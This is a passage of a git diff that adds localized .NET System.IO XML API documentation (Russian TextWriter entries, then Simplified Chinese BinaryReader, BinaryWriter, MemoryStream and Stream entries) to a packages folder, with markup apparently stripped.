только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток строку, за которой следует признак конца строки. + Строка для записи.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Строка или объект передаются в виде null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта, за которым следует признак конца строки. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт, за которым следует признак конца строки. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает признак конца строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если массив символов имеет значение null, записывается только признак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток строку, за которой следует знак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/zh-hans/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/zh-hans/System.IO.xml new file mode 100644 index 0000000..4b2e096 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/zh-hans/System.IO.xml @@ -0,0 +1,2237 @@ + + + + System.IO + + + + 用特定的编码将基元数据类型读作二进制值。 + 2 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输入流。 + 该流不支持读取，为null 或已关闭。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输入流。 + 要使用的字符编码。 + 该流不支持读取，为null 或已关闭。 + + 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输入流。 + 要使用的字符编码。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + 该流不支持读取，为null 或已关闭。 + + 或 为 null。 + + + 公开对 的基础流的访问。 + 与 BinaryReader 关联的基础流。 + 2 + + + 释放 类的当前实例所使用的所有资源。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 用从流中读取的指定字节数填充内部缓冲区。 + 要读取的字节数。 + 在可以读取 之前到达了流的末尾。 + 发生 I/O 错误。 + 请求的 大于内部缓冲区大小。 + + + 返回下一个可用的字符，并且不提升字节或字符的位置。 + 下一个可用的字符，或者，如果没有可用字符或者流不支持查找时为 -1。 + 发生 I/O 错误。 + 当前字符无法通过使用为该流选择的 解码到内部字符缓冲区中。 + 2 + + + 从基础流中读取字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 输入流中的下一个字符，如果当前无可用字符则为 -1。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 从字节数组中的指定点开始，从流中读取指定的字节数。 + 读入 的字节数。如果可用的字节没有请求的那么多，此数可能小于所请求的字节数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字节数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从字符数组中的指定点开始，从流中读取指定的字符数。 + 读入缓冲区的总字符数。如果当前可用的字节没有请求的那么多，此数可能小于所请求的字符数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字符数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 以压缩格式读入 32 位整数。 + 压缩格式的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 流已损坏。 + + + 从当前流中读取 Boolean 值，并使该流的当前位置提升 1 个字节。 + 如果字节为非零，则为 true，否则为 false。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取下一个字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的下一个字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取指定的字节数以写入字节数组中，并将当前位置前移相应的字节数。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字节数组可能小于所请求的字节数。 + 要读取的字节数。此值必须为 0 或非负数字，否则将出现异常。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 发生 I/O 错误。 + 流已关闭。 + + 为负数。 + 2 + + + 从当前流中读取下一个字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 从当前流中读取的字符。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 读取了一个代理项字符。 + 2 + + + 从当前流中读取指定的字符数，并以字符数组的形式返回数据，然后根据所使用的 Encoding 和从流中读取的特定字符，将当前位置前移。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字符数组可能小于所请求的字符数。 + 要读取的字符数。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 流已关闭。 + 发生 I/O 错误。 + + 为负数。 + 2 + + + 从当前流中读取十进制数值，并将该流的当前位置提升十六个字节。 + 从当前流中读取的十进制数值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节浮点值，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 2 字节有符号整数，并使流的当前位置提升 2 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节有符号整数，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节有符号整数，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从此流中读取 1 个有符号字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的一个有符号字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节浮点值，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 4 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取一个字符串。字符串有长度前缀，一次 7 位地被编码为整数。 + 正被读取的字符串。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 使用 Little-Endian 编码从当前流中读取 2 字节无符号整数，并将流的位置提升 2 个字节。 + 从该流中读取的 2 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节无符号整数并使流的当前位置提升 4 个字节。 + 从该流中读取的 4 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节无符号整数并使流的当前位置提升 8 个字节。 + 从该流中读取的 8 字节无符号整数。 + 已到达流的末尾。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 以二进制形式将基元类型写入流，并支持用特定的编码写入字符串。 + 2 + + + 初始化向流中写入的 类的新实例。 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输出流。 + 该流不支持写入或者该流已关闭。 + + 为 null。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输出流。 + 要使用的字符编码。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输出流。 + 要使用的字符编码。 + 如果在释放 对象之后打开流对象，则为 true；否则为， false。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 获取 的基础流。 + 与 BinaryWriter 关联的基础流。 + 1 + + + 释放由 类的当前实例占用的所有资源。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 指定无后备存储区的 。 + 1 + + + 持有基础流。 + + + 设置当前流中的位置。 + 包含当前流的位置。 + 相对于 的字节偏移量。 + + 的一个字段，指示获取新位置所依据的参考点。 + 文件指针被移到无效位置。 + + 值无效。 + 1 + + + 将单字节 Boolean 值写入当前流，其中 0 表示 false，1 表示 true。 + 要写入的 Boolean 值（0 或 1）。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个无符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的无符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将字节数组写入基础流。 + 包含要写入的数据的字节数组。 + 发生 I/O 错误。 + 流已关闭。 + + 为 null。 + 1 + + + 将字节数组部分写入当前流。 + 包含要写入的数据的字节数组。 + + 中开始写入的起始点。 + 要写入的字节数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 Unicode 字符写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 要写入的非代理项 Unicode 字符。 + 发生 I/O 错误。 + 流已关闭。 + + 是单一代理项字符。 + 1 + + + 将字符数组写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 为 null。 + 流已关闭。 + 发生 I/O 错误。 + 1 + + + 将字符数组部分写入当前流，并根据所使用的 Encoding（可能还根据向流中写入的特定字符），提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 中开始写入的起始点。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个十进制值写入当前流，并将流位置提升十六个字节。 + 要写入的十进制值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节浮点值写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 2 字节有符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节有符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节有符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个有符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的有符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节浮点值写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将有长度前缀的字符串按 的当前编码写入此流，并根据所使用的编码和写入流的特定字符，提升流的当前位置。 + 要写入的值。 + 发生 I/O 错误。 + + 为 null。 + 流已关闭。 + 1 + + + 将 2 字节无符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节无符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节无符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 以压缩格式写出 32 位整数。 + 要写出的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 流已关闭。 + + + 读操作试图超出流的末尾时引发的异常。 + 2 + + + 初始化 类的新实例，将其消息字符串设置为系统提供的消息，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + + + 初始化 类的新实例，使其消息字符串设置为 ，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + + + 使用指定错误信息和对作为此异常原因的内部异常的引用来初始化 类的新实例。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 在数据流的格式无效时引发的异常。 + + + 初始化 类的新实例。 + + + 使用指定的错误消息初始化 类的新实例。 + 解释异常原因的错误信息。 + + + 用对作为此异常原因的内部异常的引用初始化 类的新实例。 + 解释异常原因的错误信息。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 创建一个流，其后备存储为内存。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化为零的可扩展容量初始化 类的新实例。 + + + 基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建当前流的无符号字节数组。 + + 为 null。 + + + 在 属性按指定设置的状态下，基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + + 基于字节数组的指定区域（索引）初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 为 null。 + + 或 小于零。 + 缓冲区长度减去 小于 。 + + + 在 属性按指定设置的状态下，基于字节数组的指定区域，初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 在 属性和调用 的能力按指定设置的状态下，基于字节数组的指定区域初始化 类的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + 设置为 true 可以启用 ，它返回无符号字节数组，流从该数组创建；否则为 false。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 使用按指定要求初始化的可扩展容量初始化 类的新实例。 + 内部数组的初始大小（以字节为单位）。 + + 为负数。 + + + 获取一个值，该值指示当前流是否支持读取。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持查找。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持写入。 + 如果流支持写入，则为 true；否则为 false。 + 2 + + + 获取或设置分配给该流的字节数。 + 流的缓冲区的可使用部分的长度。 + 容量设置为负或小于流的当前长度。 + 当前流已关闭。 + 对不能修改其容量的流调用 set。 + 2 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取所有字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。 + 要监视取消请求的标记。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 重写 方法以便不执行任何操作。 + 2 + + + 异步清除此流的所有缓冲区，并监视取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。 + 流已被释放。 + + + 获取流的长度（以字节为单位）。 + 流的长度（以字节为单位）。 + 流已关闭。 + 2 + + + 获取或设置流中的当前位置。 + 流中的当前位置。 + 此位置设置为负值或大于 的值。 + 流已关闭。 + 2 + + + 从当前流中读取字节块并将数据写入缓冲区。 + 写入缓冲区中的总字节数。如果字节数当前不可用，则总字节数可能小于所请求的字节数；如果在读取到任何字节前已到达流结尾，则为零。 + 当此方法返回时，包含指定的字节数组，该数组中从 到 ( + -1) 之间的值由从当前流中读取的字符替换。 + + 中的从零开始的字节偏移量，从此处开始存储当前流中的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 的结果小于 。 + 当前流实例已关闭。 + 2 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流中读取一个字节。 + 强制转换为 的字节；或者如果已到达流的末尾，则为 -1。 + 当前流实例已关闭。 + 2 + + + 将当前流中的位置设置为指定值。 + 流内的新位置，通过将初始引用点和偏移量合并计算而得。 + 流内的新位置。它是相对于 参数的位置，而且可正可负。 + 类型 的值，它用作查找引用点。 + 试图在流的开始位置之前查找。 + + 大于 。 + + 无效。- 或 - 导致算法溢出。 + 当前流实例已关闭。 + 2 + + + 将当前流的长度设为指定值。 + 用于设置长度的值。 + 当前流无法调整大小，而且 大于当前容量。- 或 - 当前流不支持写入。 + + 为负或者大于 的最大长度，其中最大长度为 (- origin)，origin 为基础缓冲区中作为流的起点的索引。 + 2 + + + 将流内容写入字节数组，而与 属性无关。 + 新的字节数组。 + 2 + + + 返回从中创建此流的无符号字节的数组。用于指示转换是否成功的返回值。 + 如果转换成功，则为 true；否则为 false。 + 用于创建此流的字节数组段。 + + + 使用从缓冲区读取的数据将字节块写入当前流。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 最多写入的字节数。 + + 为 null。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置到流结尾的距离小于 字节，并且无法修改容量。 + 缓冲区长度减去 的结果小于 。 + + 或 为负。 + 发生 I/O 错误。 + 当前流实例已关闭。 + 2 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入当前位置上的当前流。 + 要写入的字节。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置位于流的末尾，而且容量不能被修改。 + 当前流已关闭。 + 2 + + + 将此内存流的整个内容写入到另一个流中。 + 要写入此内存流的流。 + + 为 null。 + 当前流或目标流已关闭。 + 2 + + + 指定在流的位置以查找使用。 + 2 + + + 指定流的开头。 + + + 指定流内的当前位置。 + + + 指定流的结尾。 + + + 提供字节序列的一般视图。这是一个抽象类。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 类的新实例。 + + + 当在派生类中重写时，获取指示当前流是否支持读取的值。 + 如果流支持读取，为 true；否则为 false。 + 1 + + + 当在派生类中重写时，获取指示当前流是否支持查找功能的值。 + 如果流支持查找，为 true；否则为 false。 + 1 + + + 获取一个值，该值确定当前流是否可以超时。 + 一个确定当前流是否可以超时的值。 + 2 + + + 当在派生类中重写时，获取指示当前流是否支持写入功能的值。 + 如果流支持写入，则为 true；否则为 false。 + 1 + + + 从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 使用指定的缓冲区大小，从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + 缓冲区的大小。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小，从当前流中异步读取字节并将其写入到另一流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放由 使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，将清除该流的所有缓冲区，并使得所有缓冲数据被写入到基础设备。 + 发生 I/O 错误。 + 2 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 异步清理这个流的所有缓冲区，并使所有缓冲数据写入基础设备，并且监控取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。默认值为 。 + 流已被释放。 + + + 当在派生类中重写时，获取流长度（以字节为单位）。 + 表示流长度（以字节为单位）的长值。 + 从 Stream 派生的类不支持查找。 + 在流关闭后调用方法。 + 1 + + + 无后备存储区的 Stream。 + 1 + + + 当在派生类中重写时，获取或设置当前流中的位置。 + 流中的当前位置。 + 发生 I/O 错误。 + 流不支持查找。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，从当前流读取字节序列，并将此流中的位置提升读取的字节数。 + 读入缓冲区中的总字节数。如果很多字节当前不可用，则总字节数可能小于请求的字节数；如果已到达流结尾，则为零 (0)。 + 字节数组。此方法返回时，该缓冲区包含指定的字符数组，该数组的 和 ( + -1) 之间的值由从当前源中读取的字节替换。 + + 中的从零开始的字节偏移量，从此处开始存储从当前流中读取的数据。 + 要从当前流中最多读取的字节数。 + + 与 的和大于缓冲区长度。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流不支持读取。 + 在流关闭后调用方法。 + 1 + + + 从当前流异步读取字节序列，并将流中的位置提升读取的字节数。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从流中读取一个字节，并将流内的位置向前提升一个字节，或者如果已到达流结尾，则返回 -1。 + 强制转换为 Int32 的无符号字节，如果到达流的末尾，则为 -1。 + 流不支持读取。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试读取多长时间。 + 一个确定流在超时前尝试读取多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 当在派生类中重写时，设置当前流中的位置。 + 当前流中的新位置。 + 相对于 参数的字节偏移量。 + + 类型的值，指示用于获取新位置的参考点。 + 发生 I/O 错误。 + 流不支持查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，设置当前流的长度。 + 所需的当前流的长度（以字节表示）。 + 发生 I/O 错误。 + 流不支持写入和查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 2 + + + 当在派生类中重写时，向当前流中写入字节序列，并将此流中的当前位置提升写入的字节数。 + 字节数组。此方法将 个字节从 复制到当前流。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 要写入当前流的字节数。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 流不支持写入。 + + 流关闭后调用。 + 1 + + + 将字节序列异步写入当前流，并将流的当前位置提升写入的字节数。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入流内的当前位置，并将流内的位置向前提升一个字节。 + 要写入流中的字节。 + 发生 I/O 错误。 + 该流不支持写入，或者该流已关闭。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试写入多长时间。 + 一个确定流在超时前尝试写入多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 实现一个 ，使其以一种特定的编码从字节流中读取字符。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 为指定的流初始化 类的新实例。 + 要读取的流。 + + 不支持读取。 + + 为 null。 + + + 用指定的字节顺序标记检测选项，为指定的流初始化 类的一个新实例。 + 要读取的流。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 为 null。 + + + 用指定的字符编码为指定的流初始化 类的一个新实例。 + 要读取的流。 + 要使用的字符编码。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 